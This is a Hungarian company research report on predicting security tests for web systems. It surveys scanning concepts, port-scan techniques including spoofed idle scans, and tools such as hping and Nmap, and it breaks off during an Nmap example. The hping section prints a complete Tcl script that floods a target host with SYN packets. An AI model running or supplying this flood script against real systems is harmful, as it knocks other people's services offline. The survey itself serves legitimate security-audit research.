Biztonsági tesztek predikciójának kutatása

Átírás

1 Biztonsági tesztek predikciójának kutatása május 22. Készítette: Boadree Innovations Kft. Székhelye: 1201 Budapest, Alsóteleki u. 92.; Cégjegyzékszáma: Képviseli: Kiss Árpád ügyvezető

2 Tartalomjegyzék 1. Bevezető Vezetői összefoglaló Alapfogalmak és tagolás Felderítés létező eszközei Hálózati felderítés Bevezetés hping Nmap hostmap hoppy Axence nettools THC Hydra WAFW00F Sérülékenység szkennelés Bevezetés Nessus OpenVAS Nexpose GFI Languard QualysGuard Web szkennerek Bevezetés Burp Suite Nikto

3 Acunetix WVS IBM AppScan Firebug OWASP SQLiX Sérülékenység kiaknázás Bevezetés Metasploit W3af Core Impact BeEF Netsparker Social-Engineer Toolkit Következtetés Következtetés ujjlenyomat alapján Bevezetés Módszerek BlindElephant Következtetés próbákkal Sérülékenység predikció implementációja Következtető apparátus használata Gépi tanulás Sérülékenység-tár Felhasznált források

4 1. Bevezető 1.1. Vezetői összefoglaló A jelen dokumentum témája: a biztonsági tesztek predikciójának kutatása. Azaz, hogyan válasszuk ki a legígéretesebb teszteket a látott célrendszerek biztonsági problémáinak azonosítására vagy megalapozott kikövetkeztetésére. A tervezett rendszer egyik fontos hozadéka lenne, hogy az ügyfél szolgáltatásai minimális terhelésnek legyenek kitéve, és ezáltal a biztonságot vizsgáló rendszerünk használható legyen akár egy éles környezettel szemben is - ez a próbák okos kiválasztása nélkül nem lehetséges. Első lépés, hogy megtaláljuk és azonosítsuk a HTML alapú szolgáltatást végző rendszereket 1. A második, hogy okosan kiválasszuk a célrendszer biztonságát vizsgáló teszteket. Ideális esetben a célrendszer megbízhatóan pontos azonosítása lehetőséget adhat arra, hogy sérülékenység próbák nélkül is biztonsági diagnózist tudjunk adni egy sérülékenységnyilvántartás alapján. A gyakorlatban a megbízható diagnózis az ismert rendszer konkrét konfigurációjának is függvénye. Ilyen nyilvántartás (tudásbázis) alapú megközelítéssel a Biztonsági sérülékenységek online forrásokból történő automatikus kigyűjtésének kutatása c. dokumentumban részletesebben foglalkozunk. Itt a kikövetkeztetés feladatát két irányból vizsgáljuk: ujjlenyomat alapján és próbák alapján. Illetve foglalkozunk azzal is, hogyan jósolhatjuk meg, mely biztonsági tesztek fedeznek majd fel sérülékenységet a felderített célrendszeren. Az alábbiakban nagyobb terjedelemben körképet adunk a rendszerek és sérülékenységek felderítésével kapcsolatos létező eszközökről és röviden elemezzük a használatukat is. Feladatkörökre tagolva tekintjük át a létező rendszereket, igyekezve bemutatni az audit gyakorlatában fajsúlyos vagy az adott feladatkör megoldása szempontjából mérvadó eszközöket. Láthatjuk, hogy a biztonsági audit elérhető eszközkészletének tudása kiforrott. Kitérünk arra is, hogy a webes szolgáltatást végző rendszerek nyilvános felületeken felderíthető milyen jellemzőire érdemes támaszkodni abban, hogy beazonosítsuk a látott célrendszert és annak potenciális sérülékenységeit megjósolhassuk, illetve milyen rendszerjellemzőkre lehet érdemes támaszkodni gépi tanulás során. (A jellemzők tárolását illetően 1 Illetve, ahogy a Webes szolgáltatások beazonosíthatóságának kutatása dokumentumban írtuk, jelen fázisban az elterjedt CMS rendszerek azonosítása cél. 4

5 egy fontos írány a sérülékenységek publikus táraival kapcsolatos - ezt a témát a Biztonsági sérülékenységek online forrásokból történő automatikus kigyűjtésének kutatása dokumentumban tárgyaljuk.) 1.2. Alapfogalmak és tagolás Az érdeklődésünk látókörében alapvetően a HTML-alapú szolgáltatást végző alkalmazások vannak (most elsőő sorban ezek közül iss a CMS rendszerek). Ezek felderítéséhez azonban szélesebb körben és eggyell mélyebb szinten is kell vizsgálódnunk. A HTML-alapú szolgáltatást TCP protokollon HTTP-t t szolgáltató hosztoktól kaphatunk, ezért fel kell derítsük az ún. internet (IP) rétegben látható szolgáltatási pontokat (portokat), ezek közül megnézni a HTTP vagy SSL-be csomagolt HTTP szolgáltatást végző pontokat (újabban a HTTP, értsd HTTP 1.1, mellett érdemes SPDY-ra is gondolni) 2. Ahogy a Webes szolgáltatások beazonosíthatóságának kutatása c. dokumentumban láttuk, az alkalmazás hibák egy része nem az alkalmazás felhasználói interfészébenn (HTML) jelentkezik (lásd pl. SQL vagy file szinten elérhetőő sérülékenységek), ezért a felderítésünk során más alkalmazás szintű protokollokat is fel kell derítsünk. Az alábbi wikipédiás ábra 3 szemlélteti az internet (TCP/IP) rétegeket (a szempontjából gondolatban cseréljük ki az UDP-t TCP-re): témánk Az alkalmazás rétegen kívül a transzport (TCP) és az internet (IP) rétegbenn is vizsgálódunk. 2 /en.wikipedia.org/wiki/spdy 3 Forrás: /TCP/IP_model#mediaviewer/File:UDP_encapsulation.svg 5

6 A felderítést hármas tagolásban tárgyaljuk: hálózati felderítés: hosztok, portok, szolgáltatások; sérülékenység szkennelés; web szkennerek. Az ilyen tagolás messze nem egyértelmű, viszont igazodik a sérülékeny rendszerek és a sérülékenységek (dinamikus) keresésében használt eszközöknek a gyakorlatban bevett tagolásához - ezért alkalmazzuk. A hálózati elemek és szolgáltatások feltérképezésével a sérülékenység szkennerek is foglalkoznak, de fő céljuknak az ismert alkalmazások és egyéb rendszerek ismert sérülékenységeinek keresését tartjuk. A web szkennerek fő céljának pedig egy tetszőleges HTML-alapú alkalmazás sérülékenységeinek kiderítését. Az alábbi Felderítés létező eszközei c. fejezetben ebben a hármas tagolásban sorra vesszük a sérülékenység dinamikus tesztelésben legelterjedtebb eszközöket, szkennereket. Ezek tárgyalásával az a cél, hogy teljes képet kapjunk arról, hogyan szokás és lehet ma sérülékenységet keresni dinamikus módszerekkel, azaz élő rendszeren. A Webes szolgáltatások beazonosíthatóságának kutatása c. dokumentumban már említettük, hogy a sérülékenységkeresésnek két fő módja adott: dinamikus és statikus, kifejtettebb neveken: Dynamic Application Security Testing (DAST) és Static Application Security Testing (SAST). Az utóbbi körbe tartoznak azok a módszerek, amikor nem élő alkalmazáson vizsgáljuk a problémákat, hanem a rendelkezésünkre áll az alkalmazás forráskódja, vagy ahhoz hasonló kód (bytecode), vagy valamiféle visszafejtett kód (tehát egy futtatható bináris állomány is lehet tárgya a SAST vizsgálatnak). A statikus tesztelés elméletileg nagyságrenddel hatékonyabb abból a szemszögből nézve, hogy a dinamikus tesztelés során lényegében egy fekete dobozt 4 vizsgálunk a felületén látható interfészeket, funkcionalitásokat manipulálva (kívülről), és így nehéz a vizsgálattal lefedni az összes problémás pontot (lásd még a coverage fogalmát), illetve nehéz optimalizálni a vizsgálatot nagyobb figyelmet szánva a biztonsági szempontból kritikus pontoknak. A dinamikus tesztelés esetlegesebb és zajosabb, akár szakértők, akár automaták végzik. A statikus 4 Ezért is nevezik az ilyen módszereket black-box tesztelésnek. Ez a kifejezés nem specifikusan a biztonsági tesztelések sajátja, hanem a szoftver tesztelésben általában használt fogalom. A black-box tesztelőnek nem állnak rendelkezésére a rendszer belső működését leíró információk. Ha a tesztelő a forráskódot vizsgálná, azt white-box tesztelésnek neveznénk. A grey-box teszt esetéről akkor beszélünk, ha a belső működésről lényeges ismeretek állnak rendelkezésre, például sémák vagy leíró dokumentáció. Az utóbbi eset jellemző az egyedi fejlesztésű vállalati alkalmazások esetében, ezért nem automatikus, hanem elemző szakértőkkel történő biztonsági tesztelés alkalmazása esetén erősen ajánlott. A black és grey megkülönböztetésbe bele szokták keverni azt is, hogy a tesztelő kap-e jogosultságokat a tesztelt rendszerhez, így a tiszta black-box a rendszert távolról elérő hacker esetével látszik azonosnak, a grey-box pedig a szoftver fejlesztés során alkalmazott humán teszteléshez. 6

7 vizsgálatok tiszta fajtája a forráskódot vizsgálja, amit számos kifejezetten SAST eszköz és más forráskód analizáló eszközök támogatnak, de ugyanúgy jelentős helye van a humán szakértőnek. Code-review, forráskód-vizsgálat esetében alapvetően a humán szakértő által végzett vizsgálatra gondolunk, aki képes felmérni, hogyan működik az alkalmazás, mely részein képes elbukni a vállalati erőforrások és folyamatok védelme, mely részei felelősek a biztonsági funkcionalitásért. A kód-vizsgálat során a fejlesztőket is meg szokás interjúvolni, ha erre van lehetőség. A statikus és a dinamikus keresésnek hibrid formája is létezik, a hibrid változatok közül a legelterjedtebb az ún. Interactive Application Security Testing (IAST), amikor az alkalmazásba a biztonsági problémákat tetten érő szondákat építenek be, és azok jelzéseit egy rendszer vizsgálja. A tárgyalásunk látókörében a valós rendszerek sérülékenységeinek dinamikus keresése áll, azaz a DAST. Ekkor futó rendszereket vizsgálunk kívülről. A futó rendszerek biztonsági vizsgálata nem garantálja azok működésének zavartalanságát, mert definíció szerűen nem tervezett működést hivatott előidézni, ezért az éles rendszerek tesztekkel történő biztonsági vizsgálata nem javasolt. DAST vizsgálatokat általában teszt környezetben végzünk, ahol nem probléma, ha a tesztelések során inkonzisztens állapotban kerül a rendszer, adatok vésznek el vagy módosulnak. Nem biztonsági célú szoftver-tesztelés jellemzően előre megírt teszt-forgatókönyvek szerint történik, és a szoftver rendeltetésszerű használatát imitálja. A biztonsági tesztelés általában rejtett hibákat keres és dinamikus tesztelés esetében olyan trükkös módokon szólítja meg a szoftvert, hogy hozzáférés nyíljon az egyébként nem elérhető funkcionalitáshoz, adatokhoz, vagy egyéb módon idézzen elő olyan, a támadó számára kívánatos, de a felhasználó szervezet számára káros következményekhez, melyekre a fejlesztő mérnőkök nem számítottak. Egy éles rendszer ilyen célú tesztelése üzleti kockázat, adott esetben üzletmenet folytonosságot is veszélyeztető tevékenység. Ezért ideális lenne egy olyan tesztelő rendszer kifejlesztése, mely nem intruzív módon azonosítja a vállalati környezetben futó éles rendszereket, megállapítja azok milyenségét és verzióját (patchlevel szintig), ezek alapján jósolja meg, milyen ismert biztonsági hibák lehetnek jelen. Ezek meglétének nem intruzív ellenőrzésére korlátozódna az éles tesztelés. Így az ügyfél szolgáltatásai minimális terhelésnek lennének kitéve az ilyen tesztelés során. Tiszta esetben az aktívan támogatott ismert rendszerekben az ismert sérülékenységeket a legutolsó kiadás nem tartalmazza vagy a legújabban kiadott patch-ek befoltozzák, tehát az elméleti feladatunk átlapol a vállalati szoftverek teljes inventarizációja, pontos nyilvántartása és a patch management területével. (Illetve marad az ismert, de még nem javított sérülékenységek szűk köre. A nem ismert sérülékenységek felfedezése ismert rendszerekben 7

8 pedig a látókörünkön kívül esik.) A valóságban nem jellemzők tiszta esetek és az ismert rendszereken is számos egyedi módosítással működnek, így marad a feladat: nagy pontossággal megjósolni, hogy adott webes szolgáltatáson mely biztonsági tesztek fedeznének fel sérülékenységet, felhasználva az adott szolgáltatás nyilvános felülete alapján megállapítható jellemzőket. A 3. fejezetben foglalkozunk a DAST eszközök áttekintése alapján adódó olyan jellemzőkkel, melyek az alkalmazások biztonsági problémáihoz prekurzív módon kötődnek. A 4. fejezetben foglalkozunk a gépi tanulás lehetőségeinek előzetes tárgyalásával. 2. Felderítés létező eszközei 2.1. Hálózati felderítés Bevezetés Az alkalmazásik hibáinak felderítéséhez a végpontok, azaz hosztok felderítésével és az azokon való szolgáltatások feltérképezésével lehet közelebb jutni. Tehát az alkalmazások sérülékenységeinek keresésében járulékos feladat a TCP/IP hálózatban látható szolgáltatási pontok feltérképezése. További járulékos feladat az, hogy kezeljük a hálózatban rejlő különböző védelmi megoldásokat, melyek védik az alkalmazásokat az illetéktelen hozzáféréstől, szűrik a kéréseinket, trükköznek a hálózati forgalom áramlásával, letiltják a kapcsolatunkat rendszerek felé, ha támadó jellegűnek találják a forgalmazásunkat. És ne felejtsük el, valóban olyan viselkedési mintákat produkálunk a hálózaton, mint amilyeneket egy hacker adhat elő. Tehát számíthatunk arra, hogy a vizsgálódásaink védelmi intézkedésekbe torkollanak - ez egy külön téma, amivel jelen dokumentumban nem foglalkozunk. Amikor a hálózati felderítés eszközeit és technikáit tekintjük át, érdemes emlékezni arra, hogy jellemzően egy olyan korszak megoldásait látjuk, melyben a hálózat volt a fő védelmi vonal a vállalati erőforrások és alkalmazások előtt. Ezek a megoldások az eredetileg kooperatív TCP/IP konstrukciókat paranoid elemekkel bonyolították el. Még pár éve az volt az elképzelés, hogy az alkalmazásokat az védi meg, hogy a hálózatot zónákba szervezzük, a zónákat ún. határvédelemmel látjuk el, és legfőképpen a nyílt internet felé építünk fel hátárvédelmi vonalakat. Ilyen paradigmában az internetről jövő forgalom az ún. DMZ (demilitarizált zóna) szervereiben landolt és kapott válaszokat, ezekről a szerverekről azt 8

9 feltételeztük, hogy eleshetnek a támadók feltörési kísérletei során, de e a vállalat értékes adatbázisai a jobban védett belső hálózati szegmensekben vannak, ezért azokhoz a hackerek nem férnek hozzá. A DMZ elképzelést mutatja az alábbi ábra 5 : Egyszerű szolgáltatási architektúra és folyamatok mellett ezek a védelmi prekoncepciók működtek, de az idők során alapvetően tévesnek bizonyultak. Főbb F problémák: A modern alkalmazás architektúra már nem tagolható jól a fenti koncepció szerint, az adatok és a védett üzleti logika nem választhatók le az internetet i kiszolgáló szerverek működéséről ennyire átlátható módon. A legfőbbb probléma éppen az, amiért az alkalmazások sérülékenységeivel foglalkozunk, éspedig az, hogy a hackerek az alkalmazásokban használják ki a biztonsági kockázatokkal járó hibákat, és ezt az alkalmazások által kifelé mutatott interfészenn teszik. Ez az interface by design átnéz a DMZ D és egyéb hálózati szintű védelmi eszközökön, a hack az alkalmazás rétegben történik, amitt az alantass szintek nem értelmezik. A vállalati adatvagyont és folyamatokat érő támadások nagyobbb részben éppen a belső hálózat felől (LAN) történnek. A belső vállalati funkciók akár jelentős részben is külső partnerek által valósulnak meg, ezért az internet és intranet elhatárolásban megjelenik azz extranet fogalma, f mely végképpen összezavarja a fenti ábrán lévő tiszta világképet képet. A vállalati szerverek jelentős része legtöbb esetben nem a vállalat sajátt fizikai infrastruktúrájában helyezkedne ek el, hanem datacenterekben. A cloud computing elterjedésével a vállalati informatikában már előfordulhat, hogy maga a vállalat sem tudja, milyen fizikai szervereken kapnak helyet a virtuális szerverei. 5 Forrás: /DMZ_(computing)#mediaviewer/File:DMZ_network_diagra m_2_firewall.svg 9

10 A rugalmasan skálázható virtualizált környezetek használatának elterjedése az utóbbi években, és a konténeres architektúrák most várható elterjedése végképp lerombolja a korábbi paradigmát, mely - lássuk be - fizikailag tagolt hálózati infrastruktúrában gondolkodott. A problémák (a körülmények változása) miatt a modern vállalati hálózat több irányba változik: Egyrészt LAN és WAN felé egyaránt szigorú hozzáférés védelmi intézkedések, tűzfal és routolási szabályok lettek érvényesek. Sőt a LAN bonyolultsága miatt a LAN szabályok még bonyolultabbak is. A belső vállalati forgalom egyre nagyobb része védve válik a köztes lehallgatás ellen, például az SSL-be csomagolt HTTP-re kell számítsunk belül is. A hálózati tűzfal koncepció tovább fejlődött a WAF, web application firewall irányába, azaz az alkalmazás rétegű forgalom szűrésébe, ahol a forgalom üzleti és egyéb magas szintű szimbólumai alapján lehet döntéseket hozni a közlekedő kérések és válaszok legitimitásáról, illetve tetten érni a visszaélési mintákat. A hálózati szinten is nagyobb lett a behatolás érzékelésre eső hangsúly a védelem bonyolításával szemben (lásd IDS 6 ). Általában a védelemben való hitet felváltja az a szemlélet, hogy szinte elkerülhetetlen, hogy a rendszereinkbe betörnek, így a biztonsági szakma a támadások kárainak a csökkentésébe, a támadások gyors lekezelésében kell nagyobb energiákat fektessen (lásd IR 7 ). Tehát ilyen kihívások mellett kell dolgoznia a rendszerünknek a hálózatban szolgáltatási pontokat felderítő részének. Több szoftver is fellelhető, ami egy hálózat vagy hálózati szegmensen található szolgáltatások felderítésében lehet segítségünkre. Ezek megmondják, hogy milyen hoszton, milyen porton milyen szolgáltatás fut. Az eszközök taglalása előtt még tisztáznunk kell az IP port alapfogalmát és az alapműködést, a port szkennelést. IP port A port fogalma a hálózat és a hálózati szolgáltatások dizájnjának része. Az IP port konstrukciója lehetővé teszi, hogy az IP által megcímezhető végpontokon, hosztokon

11 különböző szolgáltatási pontok legyenek megcímezhetők a TCP és UDP protokollok számára. A mi szempontunkból elsősorban az lenne érdekes, hogy egy adott hoszton több HTTP alapú szolgáltatás is helyet kaphat különböző portokon. És ez a felderítési feladat összeolvad azzal, hogy ugyanannak a hosztnak lehet több megszólítható szolgáltatása a címzéshez használt IP vagy domain név függvényében (lásd pl. virtuális hoszt) vagy az URL útvonal függvényében (lásd a Webes szolgáltatások beazonosíthatóságának kutatása c. dokumentumban a Webes alkalmazások felfedezése a szerveren c. részt). Tehát a szamlazas.kozpontiszerver.hu, kozpontiszerver.hu/szamlazas és a kozpontiszerver.hu:8008 címzések ugyanazt a célt szolgálják. Humán felhasználás számára az explicit port megadást igénylő címzés kevéssé barátságos, ezért nem lehet általános. Vannak megszokott konvenciók, mint például a korábban említett Tomcat admin panel a 8080-as porton, és szólhatnak érvek a szolgáltatások (szerver példányok) különböző portokra konfigurálására (például tűzfal szabályokkal való védelem), de manapság egyre inkább a portok nélküli URL-ek kiajánlása a jellemző webes UI esetén. A hoszton figyelő, élő szolgáltatások között a számunkra érdekes HTTP (HTTPS) szolgáltatás általában kevésszámú lehet. Humán HTML interfészt (webes UI) a legtöbb esetben a normál (implicit) 80-as vagy a https, 443-as port fogja szolgáltatni. A fent elmondott korszerű fejlemények miatt egyre inkább a 443 HTTP/SSL lesz az alkalmazások portja a belső webes szolgáltatások esetében is. Az alkalmazás szintű (API) HTTP interfészek elhelyezkedhetnek explicit portokon, szerverszerver kommunikációban kézenfekvő az egyedi portok megadása, ugyanakkor az ötletszerű porthasználat követhetetlen vállalati gyakorlatot eredményezhet, ezért inkább elképzelhető vállalati konvenció néhány házirendben javasolt egyedi portról. A mobil applikációk, mint szolgáltatás kliensek használatának tömeges terjedése akár elő is mozdíthatná a speciális portok használatát. De az Internetre kiajánlott alkalmazás interfészek esetében is a 443-as port a nyerő, mert a speciális portokat tilthatnak internet szolgáltatók, és túl sok panasz fog érkezni az ügyfélszolgálatunkra (a 80-as port esetére itt nem gondolunk, mert eleve rossz gyakorlatot feltételez, lehallgatható kommunikációt a kliensek felé). Az elmondottak alapján szkennelés nélkül is tudhatjuk, hogy az adott vállalati környezetben mely portokon várható a HTTP(S) szolgáltatások jelenléte, az egyéb portokon talált HTTP szolgáltatások eleve biztonsági problémát fognak jelezni, a házirendtől való eltérést. Tekintettel kell lenni arra is, hogy a routerek előtti forgalom portjai eltérhetnek a forgalom belső célját jelentő szerver portjától. Így az internetes felhasználók felé néző 443-as portot lehet, hogy az intraneten (DMZ-ben) egy szerver egy speciális porton szolgálja ki (megtartva a publikus sztenderd port előnyeit, de belül egyéb konvenciókat követve). Egy fix külső IP 11

12 esetében is értelmes megoldás lehet többb speciális portra tennii a különböző szolgáltatásokat, melyek belül megtalálják a saját s szerverüket. 8 Noha továbbra is igaz, hogy több érv szól amellett, hogy egy domain 443-as portjára érkezzen a HTTP forgalom, a szolgáltatások eltérítése inkább az subdomain vagyy URL tagolás alapján vezérelődjön (webszerver funkcionalitással). Valós (fizikai vagy virtualizált) hosztok esetében néhány konvencionális porton figyelő (vagy azokon válaszoló) hálózati szolgáltatáss sra lehet számítani (pl. DHCP, 67, 68, DNS, 53, NetBIOS, , NTP, 123, illetve az ICMP támogatásá ra). Azonban arra nem kell számítani, hogy mi is nyitottnak láthatjuk ezeket a technikai portokat, mert jól konstruált tűzfal szabályok az ezekhez való hozzáférést dedikált forrásokból (IP) jövő kérésnek teszik csak lehetővé. A port szkennelés része az ICMP protokoll használata is, az ezen küldött kérések és válaszok, noha az ICMP (Internet Control Message Protocol) protokoll független a TCP/UDP protokolltól és így a portok fogalmától ( és ebben a 7-es számúú ping port se tévesszee meg az olvasót) 9. Az ICMP különbözőő hálózati diagnosztikai, kontroll és é hiba üzeneteket valósít meg, és mint ilyen alkalmas a hosztok felderítésére is. Tipikusan ide tartozik a ping funkcionalitás, melynek tiltása vagy meghagyása főleg a szervezetnél uralkodó adminisztrátori hitvallástól függ. A port scan legtöbb ügyes technikája (lásd lentebb) a TCP protokoll handshake elemeit és sajátosságait használja ki. Handshake részleteire nem térünk itt ki, az érdeklődő olvasót a Wikipédia idevonatkozó szócikkéhez utaljuk. 10 Alapelképzelés érdekében közlünkk itt egy ábrát 11 : 8 Lásd még: /en.wikipedia.org/wiki/nat_traversal 9 /en.wikipedia.org/wiki/echo_protocol 10 //en.wikipedia.org/wiki/tcp_handshake#connection_establishment 11 Forrás: handshake.png#mediaviewer/file:tcp-handshake.svg 12

13 Az ábrán érdemes látni, hogy szinkronizációs (SYN) és visszaigazoló (ACK) TCP üzenetek váltása történik, a szinkronizáció alapvetően arról szól, hogy további forgalmazásban a TCP csomagok mindkét irányban monoton növekvő sorszámokat kapnak a forgalmazás megbízhatósága érdekében. Az IP portok témában még érdemes tekintettel lenni arra, hogy az IP forgalom esetében ugyan feltételezzük, hogy az IPv4, de egyre elterjedtebb az IPv6 is, mely független forgalmazási teret jelent, és abban a szolgáltatásokat külön fel kell deríteni. Port scan A port scan során a célpontok nyitott portjait keressük. De magukat a hálózati célpontokat, a hosztokat is port scan technikával találjuk meg. (Illetve megkülönböztetjük még a portsweep eljárást, amikor egy bizonyos port nyitottságára nézve vizsgálunk végig hálózati végpontokat, hosztokat.) Egy port állapota lehet open vagy closed: open - Azt jelenti, hogy egy alkalmazás vagy szolgáltatás figyel az adott porton. Illetve pontosabban azt, hogy ezt a figyelő alkalmazást láthatjuk is a saját hálózati helyünkről (és a csomagjaink egyéb jellemzői sem kontraindikálják, hogy láthassuk). Nem biztonsági célú hálózati szkennelés számára a nyitott port egy újabb potenciálisan hasznos szolgáltatást jelent. Számunkra pedig a nyitott port jelenthet egy vagy több újabb potenciális alkalmazást, vagy HTTP API-t, melyek sérülékenységeit vizsgálhatjuk. (Egy penetrációs tesztelő számára pedig akármilyen nyitott szolgáltatás közvetítő pontot jelenthet a direktben nem elérhető más szerverek felé.) closed - Zárt port, nem figyel rajta szolgáltatás vagy nekünk azt látni nem szabad. Ez amúgy a másik oldal segítőkész válasza, az openhez hasonlóan kapunk választ a túloldalról, adott esetben, hogy a port nem szolgáltat (és lehet, hogy más információt is). (Az sem kizárható, hogy a tűzfal szabályok olyanok, hogy csak felénk állítják, hogy nincs szolgáltatás.) A hálózati topológia felderítése szempontjából ez a válasz már értékes, elkönyvelhetjük, hogy az adott IP él, legalább egy hálózati interface vagy virtuális végpont kezeli az arra érkező IP csomagokat. (Elképzelhető, hogy a zárt port egyszer csak szolgáltatni fog, ezért érdemes azt visszatérően ellenőrizni, ha tökéletességre törekszünk.) A port szkennelés szempontjából (általában az Nmap fogalmait használva) értelmezünk még bizonytalan állapotokat: 13

14 filtered - Létezőnek tételezett portól nem érkezik válasz a kéréseinkre. Vegyük észre, hogy ezt akkor állíthatjuk, hogy ha egyébként alaposan feltételezzük, hogy maga az IP (host) él, például az alapján, hogy más portokon vagy ICMP-vel az adott IP-ről (hosztról) már kaptunk visszajelzést. A legtöbb esetben ez azt jelentheti, hogy egy csomagszűrő szolgáltatás (tűzfal vagy router) eldobja (drop) a portra (legalábbis a felőlünk) jövő csomagokat. Mivel az is lehetséges, hogy hálózati problémák nem érkezik válasz a kérésünkre, ezért a port szkenner csak többszöri próbálkozás után jelentheti ki, hogy a portra küldött kérések egy szűrű áldozatául esnek anélkül, hogy a port nyitottságát vagy zártságát illető válasz érkezne vissza. UNfiltered - A létezőnek tételezett portról ugyan érkezik válasz a (TCP ACK) trükkös kérésünkre (újabb bizonyságul, hogy a port létezik), de nem lehet eldönteni, hogy zárt-e vagy nyitott. open filtered és closed filtered - Nmap terminológiában ezek a bizonytalan port állapotok azt jelzik, hogy a további tesztek ezek között az állapotok között kell döntsenek. Különböző szkennelési technikák léteznek, ezek közül mutatunk be néhányat, amit a későbbiekben használni fogunk az alkalmazások segítségével: 12 TCP connect scan Ez az egyik legegyszerűbb szkennelési módszer. Megpróbál csatlakozni (connect) az adott portra, ami ha nyitva van, akkor sikerül és egyből zárja. Előnyei: minden operációs rendszeren működik, nem kell hozzá speciális jogosultság. Hátrányai: Rendszergazdák értesítéseket fognak kapni a tűzfaltól a próbálkozásról. TCP SYN scan A TCP SYN scan során egy be nem fejezett TCP kapcsolódást hajt végre. A scanner egy SYN csomagot küld a célnak, ami, ha az adott port nyitva van, akkor egy SYN ACK csomaggal válaszol, amit ha megkaptunk egyből zárjuk a kapcsolatot egy RST csomaggal. Ha a port nincs nyitva, akkor egy RST csomagot küld a célgép. 12 Forrás: 14

15 Előnye: Mivel a kapcsolatot nem fejezzük be, ezért sok rendszer nem veszi kapcsolódási kísérletnek, tehát kevesebb logbejegyzés készül. Hátránya: Rendszergazdák értesítéseket fognak kapni a tűzfaltól a próbálkozásról. TCP FIN/Xmas/Null scan Ebben az esetben nem építünk ki kapcsolatot, hanem küldünk egy FIN csomagot, amire ha az adott port nyitva van, nem kapunk választ (hiszen nem egy fennálló kapcsolathoz tartozik), viszont abban az esetben, amikor a port zárva van, egy RST csomagot kapunk válaszul. Előnye: csendesebb, mint a TCP SYN scan. Hátránya: Microsoft operációs rendszerek nem válaszolnak semmilyen előzmény nélküli FIN csomagra sem. TCP (IP ID) Idle scan Ennél a módszernél olyan módosított csomagokat küldünk a célpontnak, amiben úgy módosítjuk a forrás címét, mintha egy másik gép (az ún. zombi) küldte volna. Az IP csomagok fejlécében található egyedi azonosítót (IP ID) használja ki ez a módszer. A protokoll implementációjában úgy valósították meg ennek az ID-nek a generálását, hogy minden küldés után eggyel növeli az azonosítót. Ennek segítségével meg tudjuk mondani, hogy két csomag között hány csomag volt elküldve az adott gép által. Válasszunk egy zombi gépet, aminek lekérjük az aktuális IP ID-jét. Küldjük ki a SYN csomagot a célgépnek, a zombi gép nevében. Ha a célgépen nyitva volt a port, akkor SYN/ACK csomagot küld a zombi gépnek, hiszen azt látja ő kezdeményezte a kapcsolatot. Ezután a zombi gép RST csomagot küld a célgépnek, mert nem ő küldte a SYN csomagot. Mivel a zombi gép küldött egy RST csomagot, ezért az IP ID-je nőni fog, innen tudhatjuk, hogy nyitva volt az adott port a célgépen. 15

16 Az utolsó lépésben, amikor lekérjük az IP ID-jét a zombi gépnek, kettővel kell nőnie, hiszen küldött egy RST-t a célgépnek, illetve nekünk a mostani választ az IP ID-jével. Ha az adottt port nem volt nyitva, akkor eggyel nőtt az IPP ID. A leírtakat az alábbi ábra szemlélteti 13 : Előnye: Megkerülhetjük a tűzfal beállításokat. Hátránya: Eséllyel haszontalan technika, t mert az IP ennyire követhető. ID-k generálása és kiosztása már nem UDP scan Bár a legtöbb szolgáltatás az interneten i TCP protokollon keresztül fut, UDP szolgáltatások is széleskörben elterjedtek, mintt például DNS, DHCP, SNMP a három legelterjedtebb. Mivel az UDP scan lassabb éss nehezebb,, mint a TCP, ezért néhány biztonsági szakértő nem foglalkozik ezekkel. Mivel a sebezhető UDP szolgáltatások gyakoriak, ezértt ez nagy hiba. UDP scan úgy működik, hogy küldünk egy UDP csomagot minden célportra. Ha olyan ICMP csomag jön vissza, hogy portt unreachable, akkor a port zárva van. Amennyiben egy UDP csomagot kapunk vissza, akkor a port nyitva van. Ha nem kapunk vissza semmit, akkor lehet, hogy nyitva van, csak a csomagszűrők blokkolják a kommuniká ációt hping Leírás 13 Forrás: 16

17 A hping ( egy parancssori TCP/IP csomag összeállító/elemző eszköz. A felülete a ping parancshoz hasonló, de nem csak ICMP echo parancsok küldésére alkalmas, hanem TCP, UDP, ICM és nyers IP csomagok is küldhetőek vele. Tartalmaz továbbá egy traceroute módot és további funkciókat is. A hping a következő feladatok ellátására alkalmas: Tűzfal tesztelés Fejlett port szkennelés Hálózattesztelés különböző protokollokkal, TOS, fragmentáció Manuális útvonal MTU felfedezés Fejlett traceroute az összes protokollra Távoli OS ujjlenyomat készítés Távoli uptime becslés TCP/IP stack auditálás A TCP/IP tanulásához bemutatóeszközként A hping szkriptezhető tcl nyelven, példaként bemutatunk egy hping tcl scriptet, mely SYN flood támadást valósít meg: # (c) GPL2 fluxist(at)gmail.com # Usage; hping3 exec./synflood.htcl <hostname> <dstport> if {$argc < 2} { puts "Required arguments: hostname dstport" exit 1 } foreach {hostname port} $argv break set srcport set target [hping resolve $hostname] set myaddr [hping outifa $target] puts "Synflooding $target..." while {1} { hping send "ip(saddr=$myaddr,daddr=$target)+tcp(sport=$srcport,dport=$por t,flags=s)" } Kimenet Az elküldött és fogadott csomagokat dumpolja a kért részletességgel. Gépileg is feldolgozható. 17

18 Előnyök A szkriptezhetőség igen kitágítja a felhasználás lehetőségeit. Jól használható hálózati protokollok implementációs hibáinak kutatására is. Hátrányok Igen alacsony szintű eszköz, elsősorban manuális használatra. Önmagában nem értékes automatizált környezetben, de mint építőkomponens a hálózati réteg sérülékenységeinek felfedezésében és kihasználásban használható automatákban.. Támogatott környezetek Unix-szerű operációs rendszereken képes futni: Linux, Solaris, OSX, stb. Költség GPLv2 alatt van kiadva, azaz szabadon felhasználható, de a módosítások forráskódját is GPLv2 alatt kell kiadni. Mivel önálló processzként fut, nem kell összelinkelni az integráció során, azaz integrálható zárt forrású szoftverrel is. Integrálhatóság Parancssorból és scriptekkel vezérelhető, a kimente gépi feldolgozásra alkalmas Nmap Az nmap egy ingyenes és nyílt forráskódú eszköz hálózati felderítéshez és biztonsági auditáláshoz. Nyers IP csomagok segítségével deríti fel a hálózaton elérhető eszközöket és többek között az azokon futó szolgáltatásokat (alkalmazás és verziója), és a rajtuk futó operációs rendszert. 14 Eredmények értelmezése Az alábbi paranccsal indítsuk el nmap felderítésünket, ahol a scanme.nmap.org paraméter a célpontunk. # nmap scanme.nmap.org Starting Nmap 6.40 ( ) at :07 CEST 14 Források:

